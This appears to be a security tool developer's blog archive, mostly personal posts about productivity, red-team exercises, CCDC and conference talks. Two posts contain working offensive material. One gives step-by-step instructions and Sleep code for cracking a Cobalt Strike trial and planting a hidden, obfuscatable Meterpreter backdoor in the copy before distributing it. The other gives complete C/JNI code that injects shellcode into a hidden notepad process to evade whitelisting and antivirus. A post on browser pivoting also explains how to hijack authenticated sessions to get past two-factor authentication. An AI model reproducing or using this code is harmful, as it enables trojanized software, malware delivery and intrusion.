Archive for the ‘Uncategorized’ Category

h1

My 2013 Year in Blogging

January 1, 2014

WordPress.com is kind enough to email statistics on blog readership towards the end of the year. In 2013, I posted 60 posts. I accomplished personal goal to publish an average of one post each week.

Here are this year’s 2013’s top-10 posts according to total views:

  1. How to crack Cobalt Strike AND backdoor it
  2. Missing in Action: Armitage on Kali Linux
  3. Getting Started with Armitage and the Metasploit Framework (2013)
  4. Why is notepad.exe connecting to the internet?
  5. That’ll never work–we don’t allow port 53 out
  6. Browser Pivoting (Get past two-factor auth)
  7. Tactics to Hack an Enterprise Network
  8. Email Delivery – What Pen Testers Should Know
  9. WRCCDC – A Red Team Member’s Perspective
  10. How to Inject Shellcode from Java

 

h1

I was most productive–when I was unemployed

October 24, 2013

I have a friend, who worked as a penetration tester, and recently he quit his job to take some time to himself. For the past few months, he’s learned new technologies and spent time on a few personal projects. My friend 1qaz@WSX isn’t the only person like this. I have another friend, 3edc$RFV, who left a management career to do the same thing. He now works as a security researcher.

From both of my friends, their stories have a common thread: they both felt extremely productive when the burdens of the workplace were temporarily taken away from their lives.

I feel productive too. But, I’m productive and I get paid for the privilege of learning while I work. I run a product company. Why do I feel more productive now, than when I worked for someone else?

Could it be working from home (or the freedom to choose where I work)? I don’t think this is the case. I left the US Air Force in 2008, and I’ve either worked from home or was self-employed for all but 11 months since that time. I don’t think working from home by itself makes a big difference.

I think the difference is lack of accountability to anyone, but myself.

Right now, when I design a feature or decide to pursue an idea, I do it without fear of failure. If an idea fails, I chalk it up and go on to the next thing. When I worked at Automattic (WordPress.com), I had a great degree of autonomy. I worked on the After the Deadline software service. I decided how to spend my time. Ultimately though, I knew what folks saw. No one saw my experiments and failed ideas. My coworkers, community, and boss saw the occasional blog post that would announce something new. I felt, that to keep my job, I needed to regularly release something to the world that showed tangible progress.

I do this now too. I try to write a blog post once each week. This blog post is a ping to the world to let you know that I’m alive, I’m focused on my company, and my head is operating in this space. Some of my blog posts get a lot of reads, some only get a few. I write with reader statistics as a secondary goal. The first goal is to hit Publish once each week.

I also feel pressure to regularly push out Cobalt Strike releases. I don’t worry so much about features. New features are a natural side effect of pushing out releases. I focus primarily on making my product better with each release. If all I did was fix bugs and improve user experience, I would consider that a win.

So, working for myself, or working for someone else, I try to demonstrate my productivity by regularly giving the world something tangible to look at. If I have one ability or personal habit that makes entrepreneurship a viable path for me–this is it. This is my secret to forward progress.

Keeping these factors the same, why is an additional layer of accountability a problem? How does it introduce drag on my productivity? The difference comes when I slip. If I slip, I know that I am accountable only to myself. If something goes wrong, I’ll beat myself up sufficiently (if it’s warranted). If something goes wrong that is out of my control, I shrug my shoulders and move on. I don’t worry about how my supervisor or their supervisor will react.

I tend to put off paperwork. Will my tendency to dismiss paperwork or other manufactured requirements make me look like a flake, despite real accomplishments? Right now, this isn’t a remote a concern–well, not until the city dissolves my corporation for missing a filing deadline. But hey! At least I can peg real consequences to most of the paperwork I do.

Long story short, working for myself I feel the freedom to use my best judgement and execute at maximum speed. I can see something through to completion. I can kill a bad idea when I smell it–even if I thought it was great for awhile. I can evaluate potential customers or work and say no to undesirable situations. Working for others, even in an environment with a great deal of trust an autonomy, I never felt this. Now, I don’t second guess myself.

This ability to execute, with no drag, is probably why my friends were able to become so productive while unemployed. Me? I’m thankful I get to do this for a living.

h1

The ACE Problem Solving Method (I use this)

October 10, 2013

The reason I’m in security today is because of the US Air Force’s Advanced Course in Engineering Cyber Security internship program. I turned down an internship at NASA (after I accepted it!) to attend this “information warfare bootcamp” in 2003.

The Air Force Research Lab modeled the ACE program after General Electric’s Advanced Course in Engineering. Each week, the program schedule looked like this:

  • Monday we received a lecture on a focus topic. These lectures were taught by an expert from industry, academia, or the military.
  • Tuesday through Thursday we participated in a research internship. Each student was assigned to a different work center for this.
  • An 8 mile run each Friday.

The literature made the ACE program sound like a leadership development course for aspiring cyber security engineers. While this is true. The literature omitted how this leadership development happened.

The program format included one other key element:

Weekly–we were assigned a ‘real world’ problem by the person who provided the lecture. We were expected to solve this problem, deliver a solution, and provide a complete engineering report. These reports were 15-60 pages of writing… each week!

The ACE was a 10-week long course on technical writing. On top of delivering complete reports–we were also expected to follow a strict style guide. The guide took away passive voice, hidden verbs, complex phrases, gerunds, and other beautiful parts of the English language.

During the ACE program–we were taught a problem solving method. I use this method in my work today. If you think I’m productive–then consider this method my secret.

Here’s the method:

  1. State the problem
  2. Define assumptions
  3. Pick out Tools and Techniques
  4. Solve the problem
  5. Revisit the assumptions

Problem Statement

Let’s walk through this. My most recent output is Cobalt Strike’s browser pivoting capability. I started with a problem statement: how do I defeat two-factor authentication?

This problem statement is broad and that’s OK. When starting an effort it’s important to know the big picture idea behind it. Why am I doing this research? Why am I solving this problem?

The problem with broad problem statements is one could spend a lifetime trying to solve it for all possible cases. A key tenet of the ACE program is that a good enough solution on time is better than the perfect solution a week late. No one turned in a late paper during my class, but the understanding was, two late papers and you’re out of the program.

Background and Assumptions

The next step is to define assumptions. This step allows us to turn the broad problem into something tractable. When I set out to work on Browser Pivoting, I defined the following assumptions:

  • The target uses Internet Explorer
  • The attacker has control of the target’s system
  • I want to defeat two-factor authentication for web applications only
  • The attacker can wait for the target to interact with the web application of interest.

When I set out to work on the two-factor authentication problem–I had an idea for a solution. I wrote these assumptions to match this idea. That’s OK. A solution to the problem–even with constraints, represents progress.

Tools and Techniques

Step 3 is to explore tools and techniques. To work on browser pivoting–I took advantage of several technologies:

WinINet

WinINet is the Windows Internet API. It allows a program to interact with a URL with a few lines of code. It is also the communication layer for Internet Explorer. WinINet manages cookies, history, cache, authentication, and SSL sessions for applications that use it. Internet Explorer uses WinINet.

Reflective DLL Injection

Reflective DLL Injection is a technique to load a DLL into another process without touching disk. A Reflective DLL is a Windows DLL compiled with Stephen Fewer’s Reflective DLL Injection library.

The Metasploit Framework

The Metasploit Framework is a potential delivery platform for a two-factor authentication bypass capability. The Metasploit Framework has the ability to inject a Reflective DLL into an arbitrary process.

Solution

With these tools and techniques down–the next step is the solution. During this step, I’m expected to tie all elements together. In the case of Browser Pivoting I wrote an HTTP proxy server that fulfills requests with WinINet.

I compiled this HTTP proxy server as a reflective DLL and I use the Metasploit Framework to inject this DLL into memory.

WinINet manages session state on a per-process basis. When I inject my HTTP proxy server into an Internet Explorer process–I inherit the user’s cookies, session cookies, HTTP authenticated sessions, and client SSL certificates.

I am able to get past two-factor authentication because this solution inherits a user’s session tokens and credential material–after they’re authorized to access a web application.

At this point, I’ve solved the problem within the bounds of my assumptions.

Risk Analysis (Revisiting Assumptions)

The last step in the ACE method is the risk analysis. At this time, I revisit each assumption and I state how my solution falls apart when the assumption fails to hold. Thinking about these shortcomings is an opportunity to think about future work on the same problem.

In the case of Browser Pivoting:

  1. The target uses Internet Explorer. This solution will not work if the target uses another browser. Each browser has its own way to manage state and communicate.
  2. The attacker has control of the target’s system. This solution is suitable for the post-exploitation phase of an engagement. If an attacker can not gain access to a user’s system–another way to get around two-factor authentication is needed.
  3. I want to defeat two-factor authentication for web applications only. This concept may port to other applications–but it will require a thorough understanding of that application to do so.
  4. The attacker can wait for the target to interact with the web application of interest. This solution defeats two-factor authentication by riding on top of an authenticated session. Other ways to defeat two-factor authentication:
    • attack the web application of interest directly. Why use the user to get to it?
    • attack the two-factor authentication mechanism directly and see if there is a way to fool it.
    • create a social engineering website and try to fool the user into providing all information needed to authenticate as them.

That’s a run through the ACE problem solving method taught to Air Force cadets who went through the program. Sadly, the US Air Force decided to cancel the ACE program this year. This past summer would have made 11 years.

Clarification (21 Oct 13): In 2011, the US Air Force Institute of Technology (AFIT) took over the ACE program from the Air Force Research Lab. The AFIT ACE was cancelled in 2013. The Air Force Research Lab started an IA Internship Program that carries much of the ACE format in 2011. The IA Internship Program continues on as the spiritual successor of the ACE program.

h1

How to crack Cobalt Strike AND backdoor it

September 5, 2013

You know you’ve made it (somewhere?) as a software developer, when people pirate your stuff.  From various searches, I see that several “cracked” versions of the Cobalt Strike trial exist. Since there’s interest in pirating Cobalt Strike, I’d like to speculate about which steps I would take to crack the Cobalt Strike trial and add a backdoor to it, prior to distribution on an unofficial site.

At its core, Cobalt Strike is a Java application. Java applications are packaged as .jar files. Jar files are complex. So complex, a major conference carried a talk on how to reverse engineer them in early 2012. I’ll skip the reference to this talk and point in the right direction: use unzip. The unzip tool uses a sophisticated algorithm based on LZ77 and Huffman coding. After unzip, all of the Cobalt Strike files will spill out:

extractcs

Java applications consist of .class files. These files do not represent the socio-economic status of the code. Rather, they are the compiled form of several .java files. Cobalt Strike is a strange beast of an application though. There are also several .sl files. These are Sleep files. Sleep is a simple scripting language I’ve worked on since 2002. I write in Sleep because I’m very efficient with it.

For the aspiring cracker, Sleep is a welcome sight. Its files do not ship in a compiled form. They’re available as plaintext inside of the application archive. A plaintext file requires a special tool, called a text editor, to change its content. I recommend notepad.exe or pico. Linux hackers may use WINE to run notepad.exe. Type:

wine notepad.exe

Knowing how to navigate code and find things is a key skill for an aspiring cracker. My favorite way to search through source code is grep.

grep -r "some string" .

To crack Cobalt Strike, look for a file that manages license information. The trial expired message is a good string to look for. One change, in one line of code, will make a trial that will never expire. Remember–this is a violation of the license agreement.

Why stop at removing the trial restriction? For those with the skills and insights in this post, it’s a few steps to crack Cobalt Strike and use it to distribute malware.

Here’s how to do it with Cobalt Strike:

1. Define a listener for Java Meterpreter. Go to Cobalt Strike -> Listeners and press Add. Listeners are Cobalt Strike’s concept of persistent Metasploit Framework handlers. Each time Cobalt Strike is run, the defined listeners automatically start.

2. Export a Java Meterpreter package. Go to Attacks -> Packages -> Java Application. Choose a listener and press Generate. Cobalt Strike makes it easy to export artifacts to use in social engineering attacks.

javameterp

3. Use unzip to extract the Java Meterpreter package into a folder.

4. cd to this folder and delete META-INF/MANIFEST.MF

5. Copy all of the Java Meterpreter files, unchanged, into the folder where the extracted Cobalt Strike lives.

jm

6. Add this code to the bottom of a .sl file:

fork({
   [metasploit.Payload main: $null];
});

This Sleep code will silently run Java Meterpreter in its own thread. Consult the Sleep manual for different ways to obfuscate this code.

backdoor

7. The opposite of unzip is zip. Use this program to package the extracted Cobalt Strike files into one zip file. The cracked trial filename should end in .jar.

Congratulations, a backdoored version of Cobalt Strike is now ready for distribution.

Cracked trials of Cobalt Strike trials are available on many websites. I have never downloaded one and I do not intend to. The process I went through in this post isn’t the only way to add a backdoor to an unofficial copy of Cobalt Strike.

There is a way to get a clean copy of Cobalt Strike though. Download a 21 day trial through the official website.

h1

How to Inject Shellcode from Java

August 29, 2013

Cobalt Strike’s Java Applet attacks inject shellcode into memory. Injecting into memory is valuable as it helps get past application whitelisting and can help evade anti-virus as well.

There are several approaches to inject shellcode into memory from Java. One approach is to drop syringe and call it with your shellcode. If syringe or your variant isn’t white listed though, you’re out of the game. Another approach is to use PowerShell, but this won’t do much good against Windows XP.

Another option is to extend Java through JNI to add an API to inject shellcode. This is the approach I take.

JNI is the Java Native Interface. It’s an opportunity for developers to load a specially crafted native library into the Java Virtual Machine and interface with it through Java itself. Java applets may take advantage of JNI as well.

First, let’s create a Java program that interfaces with a function to inject shellcode:

public class Demo {
   public native void inject(byte[] me);
}

The native keyword attached to inject states that inject is defined in a native JNI library.

To create a library for our Java shellcode injector, we must first compile our Java program.

javac -d bin -cp bin src-java/Demo.java

Now that we have a .class file, we can ask Java to generate the necessary headers for our JNI library.  To do this, we use the javah program.

javah -classpath bin -jni -o src/injector.h Demo

This program will output an injector.h file in a folder called src. The injector.h header will define a prototype for our inject function:

JNIEXPORT void JNICALL Java_Demo_inject(JNIEnv *, jobject, jbyteArray);

Next, we need to implement this function. Here’s a quick run of it:

JNIEXPORT void JNICALL Java_Demo_inject(JNIEnv * env, jobject object, jbyteArray jdata) {
   jbyte * data = (*env)->GetByteArrayElements(env, jdata, 0);
   jsize length = (*env)->GetArrayLength(env, jdata);
   inject((LPCVOID)data, (SIZE_T)length);
   (*env)->ReleaseByteArrayElements(env, jdata, data, 0);
}

JNI provides us with some help when it comes to marshaling data between C and Java. Many Java types map 1:1 to C types (e.g., jchar is just a char). To learn more about how JNI maps its types to C, look at Chapter 3 of the JNI documentation. To learn about functions that help interface with Java arrays passed to JNI, read chapter 4 of the JNI documentation.

When I work with JNI, I like to handle all of my Java -> C type conversions in the JNI function. Once these conversions are handled, I call another C function to carry out the task.

Now, let’s write our inject function to spawn our shellcode:

/* inject some shellcode... enclosed stuff is the shellcode y0 */
void inject(LPCVOID buffer, int length) {
	STARTUPINFO si;
	PROCESS_INFORMATION pi;
	HANDLE hProcess   = NULL;
	SIZE_T wrote;
	LPVOID ptr;
	char lbuffer[1024];
	char cmdbuff[1024];

	/* reset some stuff */
	ZeroMemory( &si, sizeof(si) );
	si.cb = sizeof(si);
	ZeroMemory( &pi, sizeof(pi) );

	/* start a process */
	GetStartupInfo(&si);
	si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
	si.wShowWindow = SW_HIDE;
	si.hStdOutput = NULL;
	si.hStdError = NULL;
	si.hStdInput = NULL;

	/* resolve windir? */
	GetEnvironmentVariableA("windir", lbuffer, 1024);

	/* setup our path... choose wisely for 32bit and 64bit platforms */
	#ifdef _IS64_
		_snprintf(cmdbuff, 1024, "%s\\SysWOW64\\notepad.exe", lbuffer);
	#else
		_snprintf(cmdbuff, 1024, "%s\\System32\\notepad.exe", lbuffer);
	#endif

	/* spawn the process, baby! */
	if (!CreateProcessA(NULL, cmdbuff, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi))
		return;

	hProcess = pi.hProcess;
	if( !hProcess )
		return;

	/* allocate memory in our process */
	ptr = (LPVOID)VirtualAllocEx(hProcess, 0, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

	/* write our shellcode to the process */
	WriteProcessMemory(hProcess, ptr, buffer, (SIZE_T)length, (SIZE_T *)&wrote);
	if (wrote != length)
		return;

	/* create a thread in the process */
	CreateRemoteThread(hProcess, NULL, 0, ptr, NULL, 0, NULL);
}

This function is written to work with an x86 and x64 Java Virtual Machine on Windows. First, it checks if _IS64_ is defined. This macro (supplied at compile time) is what I use to find out if I’m in a 64-bit Java Virtual Machine or not. Either way, the outcome is the same, I spawn a 32-bit notepad.exe process.

Once my 32-bit process is spawned, I follow through with the normal shellcode injection pattern: allocate memory in my spawned process, copy my shellcode to it, and create a new thread in my spawned process that executes my shellcode. That’s it.

I prefer to spawn into another process, because if a problem occurs in the shellcode, it will not crash the process I spawned the shellcode from. Spawning into a 32-bit process (regardless of our Windows version) has another benefit: it allows us to use 32-bit shellcode, even if we’re running in a 64-bit Java Virtual Machine.

Now, we need to compile our JNI library. For this blog post, I’m using Kali Linux as my development environment. Kali Linux comes with MinGW-w64 installed. MinGW-w64 is a cross-compiler capable of building binaries for x86 and x64 Windows.

To compile our JNI library, we will need some files from the Java Developer’s Kit on Windows. To get these files, install a JDK on Windows, and grab C:\Program Files\Java\jdkXXXXXXXX\include and copy it to your build environment.

$ find include/
include/
include/jvmti.h
include/win32
include/win32/jawt_md.h
include/win32/jni_md.h
include/jni.h
include/jdwpTransport.h
include/jawt.h
include/classfile_constants.h

Before you compile your DLL, create an injector.def file in the src/ folder. Here’s the contents of the file:

EXPORTS
	Java_Demo_inject

To compile your JNI DLL, use:

i686-w64-mingw32-gcc -c src/*.c -l jni -I include -I include/win32 -Wall -D_JNI_IMPLEMENTATION_ -Wl,--kill-at -shared
i686-w64-mingw32-dllwrap --def src/injector.def injector.o -o temp.dll
strip temp.dll -o bin/injector.dll

This will give you an injector.dll file. Sadly, we run into a problem here. A 32-bit Java Virtual Machine will welcome our DLL file with open arms. A 64-bit Java Virtual Machine will not. We must compile a 64-bit variant of the DLL to use it in a 64-bit Java Virtual Machine. To do so:

x86_64-w64-mingw32-gcc -m64 -c src/*.c -l jni -I include -I include/win32 -Wall -D_JNI_IMPLEMENTATION_ -D_IS64_ -Wl,--kill-at -shared
x86_64-w64-mingw32-dllwrap -m64 --def src/injector.def injector.o -o temp.dll
strip temp.dll -o bin/injector64.dll

Notice that the 64-bit build process defines _IS64_. In the source code for inject, I use this identifier to determine whether I’m a 64-bit DLL or a 32-bit DLL and act appropriately.

Now we have our DLLs, let’s fill in our Demo class and make it into something that can inject shellcode for us:

import java.io.*;

public class Demo {
	/* our shellcode... populate this from Metasploit */
	byte shell[] = new byte[0];

	public native void inject(byte[] me);

	public void loadLibrary() {
		try {
			/* our file */
			String file = "injector.dll";

			/* determine the proper shellcode injection DLL to use */
			if ((System.getProperty("os.arch") + "").contains("64"))
				file = "injector64.dll";

			/* grab our DLL file from this JAR file */
			InputStream i = this.getClass().getClassLoader().getResourceAsStream(file);
			byte[] data = new byte[1024 * 512];
			int length = i.read(data);
			i.close();

			/* write our DLL file to disk, in a temp folder */
			File library = File.createTempFile("injector", ".dll");
			library.deleteOnExit();

			FileOutputStream output = new FileOutputStream(library, false);
			output.write(data, 0, length);
			output.close();

			/* load our DLL into this Java */
			System.load(library.getAbsolutePath());
		}
		catch (Throwable ex) {
			ex.printStackTrace();
		}
	}

	public Demo() {
		loadLibrary();
		inject(shell);
	}

	public static void main(String args[]) {
		new Demo();
	}
}

The loadLibrary function reaches into our JAR file (or current classpath) and grabs the proper injector.dll file (64-bit or 32-bit). Once the injector file is on disk, I call System.load to load the DLL into the Java Virtual Machine. Once this step completes, we’re able to inject our shellcode with the inject function. That’s it!

A Few Tips:

1) To try this example out, you will need to generate shellcode from the Metasploit Framework and assign it to the shell variable. Do that in whatever way is convenient for you. Make sure you set the Encoder option to generic/none.

2) If you use this technique with an applet, beware that some browsers keep the Java Virtual Machine around after your applet runs. If you use this technique in an applet, use a static variable to check whether you’ve loaded your JNI library already or not. If you try to load a library a second time in the same JVM, the process will fail.

h1

Armitage and Cobalt Strike Workshop at HackMiami – Student README

May 14, 2013

Are you attending the Armitage and Cobalt Strike Penetration Testing Lab at HackMiami Conference this weekend? Make sure you read this post:

This coming weekend, I am teaching a free 4 hour workshop at the HackMiami Conference in beautiful Miami, FL. I’m told the venue can hold quite a large number of folks and I’m planning to bring enough materials for 100 attendees. Unlike other runs of this workshop, there is no pre-registration and no attendee list I can blast this message too. No problem with me, but there is some information you should know about before you show up.

This workshop has a significant lab component. To participate in the labs, you must bring a computer that meets the following requirements:

  1. 2GB of RAM or greater
  2. 12GB of free disk space
  3. The ability to run VMWare Virtual Machines (one of VMWare Player, VMWare Workstation, or VMWare Fusion should be installed)

If you bring a system that meets those requirements, I will bring everything else. I will provide you with a DVD containing three virtual machines and a lab sheet. If your modern computer doesn’t have a DVD player, don’t sweat it. I will bring a USB DVD drive with me. You’ll have a chance to copy the needed files to your disk during the setup phase of the workshop. I left my USB DVD drive at another conference, but I promise to buy another one before Friday. 🙂

During the workshop, I expect that you will use the environment I provide. This means you do not need to worry about setting up Kali Linux or finding that old copy of Windows XP underneath the couch. I have you covered. If you want a preview of the workshop, here’s a video walk-through of the environment I will provide:

During the workshop, we will work through a slightly abridged version of the above labs (but you’ll have all of them, in case you want to play around later).

If you’d like to come to the workshop, it’s at this weekend’s HackMiami Conference. Attendance to the conference is $125. There is no other fee to attend this workshop. Also, since this is open to all attendees of HackMiami, my workshop is available on a first-come, first-serve basis.

The workshop starts at 5pm on Saturday in Track 1.

h1

PSA: A Safety Lesson about Team Servers

April 21, 2013

Here’s a fun anecdote for you. I usually run a Cobalt Strike team server the CCDC events and other exercises I go to. No problem. I have a virtual machine I use as the team server. There are no sensitive files on it and fortunately, it’s a virtual machine.  I don’t care what happens to it.

At the end of the National CCDC event, our team captain announced that if we have access, we’re wrong… burn it! So, in a maniacal way, all of us jumped on sessions and destroyed system after system. All well and good, this is standard operating procedure for most exercise red teams… at the very end of an event.

In our maniacal zeal to take these actions, we sometimes make mistakes, it happens.

Anyways, let me relay a little factoid.

The Metasploit Framework has a console. Any input the console does not understand is immediately passed to the operating system, for your convenience. This input is run and its output is presented to you, the user. In classes, I’ve seen many people think they have shell when they type whoami in a Metasploit Console and learn that they’re root. They’re root, but it’s on their own system.

So, in the zeal at the end of the National CCDC event, someone issued an rm -rf / command to my team server. I lost data that would later become a large generated report I could provide to the teams (next year!). I’m not too worried about that. I wanted to speak to the safety lesson, one I discovered later.

I told VMWare to share folders with my host operating system. Fortunately, I was sharing just a dropbox folder with several tools that I keep around. I have  a backup of all this stuff, no big deal.

These folders were gone!

burned

If I had shared my home folder… oh boy!  That was a close call, pretty funny since no harm came of it. Pretty scary otherwise.

If you’re going to host infrastructure for an event, do it on a separate server. If you’re crazy enough to use your laptop, like I am, make sure there’s isolation between your virtual machine and your operating system.

🙂

h1

Praise for CCDC

January 28, 2013

Over on r/netsec there’s a discussion debating the merits and realism of the Collegiate Cyber Defense Competition.

I’ve volunteered at the North East Collegiate Cyber Defense competition since 2008. I’ve also participated with several CCDC regional events since 2010 and I was on the National CCDC red team last year. I’ve seen more of CCDC than most. I believe in it as an event or else I wouldn’t put so much time into it.

CCDC is a cyber defense competition league. Student teams qualify to participate in a regional event. The winners of these regional events move on to a national event with the winner taking bragging rights.

Each region organizes itself. Some regions mirror the National CCDC rules very closely. Others, do not. Right now, regional events are not happening. They do not start until March. The reflection happening on reddit is about two events that happened over the weekend: a qualifier event and a practice event organized by students at Capitol College.

The qualifier events are simple filters to invite the most prepared teams to the regional event. They’re usually throw aways and many times the qualifiers are no reflection of the rules or organization of the regional.

As for the student run practice events, these are a clue that something special is happening. Student run practice events means students organized an event, reached out to their professional security community, invited people in, and they asked for a lesson.

Why does this matter? We’ll get to that in a moment…

There are many opinions on CCDC’s rules, restrictions, and artificialities. As someone who participates, I see the rules shift year-to-year to make a more engaging game. No organizer wants students sitting bored or idle throughout the event. Everyone’s hair should be on fire.

No two students take the same thing out of CCDC. The team captains have to deal with people issues. They have to motivate their fellow students to take time away from video games and parties to sit down and drill through checklists.

The teams that win assign roles. They have to. One smart person doing everything won’t win a CCDC event for you. Too much is happening. Some students will become Cisco IOS whizzes. Others will learn how to administer and perform intrusion response on UNIX systems. Some Windows. Students from the winning teams will understand the value of staging a secure configuration and migrating production stuff to it with minimal downtime.

The red vs. blue battle aside, students must also write policy and effectively communicate with judges, who act as executive leadership. This is a big part of their score. There’s a lot that happens in a CCDC weekend event.

The teams that will win their regional events are probably spending 10-30 hours each week, practicing as a team, right now.

The success of CCDC isn’t in its rules or how closely it mirrors sitting on a NOC floor for 12 hours with nothing happening. The success of CCDC is in what it motivates the students to do, on their own time, to prepare themselves to enter our field as peers. Last weekend’s student run practice event is an example of this.

Since 2008, I’ve seen the student teams get better by leaps and bounds. I’ve never been part of a regional red team that had access on all teams at the end of an event. Please don’t let the chest thumping of some red team volunteers lead you to believe that students are lost and engaged in an unfair game. Most student teams are well prepared and I’m in awe of them each year.

I run into these students at conferences. We have a good laugh about CCDC. For them and for me as a volunteer, it’s one of the high points of our year.

CCDC works. Students learn leadership, teamwork, and they’re motivated to pick up skills. CCDC is a good thing for our professional community

h1

My plug for RIT SPARSA’s ISTS

January 12, 2013

CCDC season is coming. CCDC is the Collegiate Cyber Defense Competition. In 10 regions, universities organize teams to come and defend a network. I highly recommend participating if you have the opportunity to do so. CCDC is well-known, so I’d like to take a moment to plug another event that’s happening around the same time. The Information Security Talent Search (also known as ISTS).

ISTS is run by the Security Practices and Research Student Association at the Rochester Institute of Technology. I believe this will be its 11th year. ISTS is like CCDC in many ways. Students show up for a two-day event where they must defend systems while deflecting attacks from a professional red team. There’s one twist. Student networks also include systems equipped with BackTrack Linux and they’re expected to attack each other for points and delight.

ists

I gave the keynote talk and played on the red team at the 2012 ISTS event. I think you should play in ISTS. Don’t let the phrase “student run” fool you. ISTS is as professional as any exercise I’ve participated in. In the case of some events, it’s actually better run.

I saw many things at ISTS that surprised me. The team from RPI came to the event armed with a new agent. They made the competition into one big botnet. More impressively, this custom agent could migrate processes, log keystrokes, and do a lot of other meterpreter-like things. As I build these capabilities into my own Beacon, I appreciate how much work these students put into the event. It’s pretty impressive what these students come up with.

Another twist to ISTS, they do a very good job to keep all teams engaged throughout the competition. You get points for defending your system and attacking, sure. But there are also style points for doing things like creating a botnet or demonstrating a clever hack to a judge. Much to my chagrin, points would have been awarded to anyone who managed to hack one of the red team members. As the red team were the only folks using personal laptops and we didn’t know about this provision–we weren’t too amused. The judges quickly amended this when it was brought up (we were supposed to be told). Otherwise, it was all good.

I’m writing this blog post for a reason though. The 2013 ISTS event is March 22-24 at the Rochester Institute of Technology. It’s for students. You do not need a faculty mentor. If you’re a group of five friends who wants to go hack for the weekend, you can sign up. It’s $100 to do so, but well worth it. The event is limited to 10 teams this year, so I highly recommend that you sign up, right now.

h1

I lost my voice before speaking at DEFCON… and went on anyways

July 28, 2012

Thanks to my open source work, I have a lot of opportunities to speak. In 2011, I gave 30 talks between conferences, professional groups, and invitations to private organizations. This week, much of my industry has collectively gone on vacation to Las Vegas for BlackHat USA, BSides Las Vegas, and of course… DEFCON.

I was fortunate to have an opportunity to speak or demonstrate my work at all three events. Wednesday I spoke at the BlackHat arsenal. This event involves standing at a pod in the hallway and speaking over the noise of the conference for one hour. It’s one of my favorite events because it’s focused on demonstrations and I get a chance to interact with everyone in the audience.

Arsenal

Thursday was a mad rush. I spent the morning at the BSides conference. I gave my talk, hung around to answer questions, hopped a cab, and found myself back at Caesar’s Palace to demonstrate Armitage again at BlackHat.

For me, the big show was DEFCON though. This is where I would release the results of my 7-month DARPA effort, Cortana. And, despite the many times I’ve had the opportunity to share my work, something happened that I have never experienced before a talk: I lost my voice.

Thursday night, while I practiced my talk, my voice stopped working. It went to a very harsh whisper and my throat felt sore. I decided to stop practicing and focus on testing my live demonstrations instead.

I woke up at 7:30am Friday morning and I couldn’t speak.

Seriously.

My talk was at noon. I first paid the $6/bottle minibar fee and drank every bottle of water I could find in my room.  I then tried putting a hot towel on my neck.

No voice.

I walked to the Walgreens Pharmacy. I used my phone and pointing to communicate with the pharmacist. She wasn’t too enthusiastic. She told me to take some ibuprofen and suck on cough drops.

As I checked out, I used gestures to communicate with the cashier. She switched to American Sign Language to communicate with me. I don’t know American Sign Language beyond hello. I smiled and left.

At this point, it’s time to head to the Rio. I’m at a loss for options. I thought about emailing the lead speaker liaison and asking to switch my time or give my spot back to an alternate. I couldn’t get behind that option mentally. I had no idea what I would do at this point, but I knew I would make the show go on.

Downstairs, I’m waiting in line for a taxi cab. I exchange several glances with the guy behind me. Finally, he asks if I’m headed to the same place and asks if I want to share a cab. I gesture yes. Thankfully… I was saved the trouble of finding a way to communicate with the driver.

Once we were in the car, I pulled out my laptop and wrote a message explaining my strange behavior at the moment.

I justified continuing to “speak” despite having no voice. I figured at the very least… I had live demonstrations and possibly, I could croak out parts of my talk by keeping the microphone really close.

We get to the hotel and pay the cab. I go to the speaker registration area. I think there is something truly ironic about registering at the speaker registration area with no voice. Again, I used my laptop to communicate with the DEFCON staff.

At this time, it’s 11:15am. I’m on at noon. I have no voice beyond a very harsh sounding whisper that I dare not use for fear of losing even that.

I go to the speaker ready room. The staff manning the room does the usual, “can I help you?” I pull out my laptop and communicate through a text editor. They laugh and send me to the next room to sit with the other speakers. Several folks from the EFF were discussing their Q&A panel that would happen at the same time. The room also had buzz as General Alexander was in our same suite. The tight security kept us planted at our table.

I used the text-to-speech feature on my Macintosh to converse with my fellow speakers. It was funny to type a thought, press enter, and watch for reactions. After a few rounds of this, I felt like I was participating somewhat in the conversation.

I converted my presentation to PDF. I knew, at worse, I could maybe try using the text to speech feature to communicate some things verbally. Having a PDF would allow me to keep my slides up and a terminal for typing text at the same time. I still had no idea what I would do, but a plan was forming.

My DEFCON speaker goon, Bushy, introduced himself and I explained my situation in a text editor. The speaker goon’s role is to make get speaker’s where they’re going, help them watch the clock, and make sure everything goes smooth. I attempted to speak, close to Bushy’s ear, to test my voice and indicate that I still had something left. Sadly… I didn’t. My voice was still a terribly hoarse whisper.

We then started the trek to the Penn and Teller theater where I would deliver my presentation.

Bushy asked if I tried hot tea with honey yet. I had tried a few things, but not the hot tea. I signed that I had not. We went to Starbucks where there was an incredibly long line. Bushy jumps right to the front and states “I’ll pay for all of your drinks if you just order a hot tea”. He immediately followed it up with “I have a speaker here who is on in 10 minutes and he lost his voice”. The nice couple at the front of the line immediately put the order in and they refused anyone’s offer to compensate them for the tea.

I added three packets of honey to the tea and drank such a big initial swig that I… burnt my tongue. Desperate times call for desperate measures?

We then proceed to the Penn and Teller theater. As we walk, hotel security keeps stopping me and explaining that I can’t carry a drink. Each time, I had to look back and get Bushy’s attention to intervene on my behalf. I didn’t have the voice to explain myself after all.

The final guard, right before the theater, shook his head and laughed when he learned about the situation.

We then enter the Penn and Teller theater. This theater has two levels and seats about 1,500 people. I don’t know if it was configured differently for DEFCON. This part’s a blur to me. I do know that I approached a real stage, saw the sophisticated lighting gear around me, and as I looked at the tiered seating to my left and right… the theater was nearly full.

I’ve never spoken at DEFCON before and I did not know what to expect. I didn’t expect I would see such a full room or find myself escorted to such a prominent stage. I felt like a musician who was expected to perform… but couldn’t.

I see friends in the audience who try to greet me. From stage, I point to my voice and make a motion with my hands to indicate that I had no voice. They got the message and I could see the “Oh… my…” look in their face.

I wasn’t nervous at this point but I still had no idea what would happen.

I setup my laptop and opened a text editor. I wrote:

“Life is an adventure. Here I am speaking to ~1,000 of you. We’re going to have fun today, but you should know… I lost my voice”

Some people noticed it and I could immediately here the “haha, oh my” reaction.

I kept drinking my tea and honey.

Bushy introduces me and states that this is the first time in DEFCON history a speaker has… not had their voice.

By this time, I knew I could croak some things. At worse, I could let everyone read my slides and make a short comment about each. This would still get the content across.

I brought the microphone close and found I could croak enough to speak. My tempo was slow at first. As I kept going (and drinking my tea) my voice slowly came back. It never came back all the way, but it was 100x better than I expected.

Defcon 2012
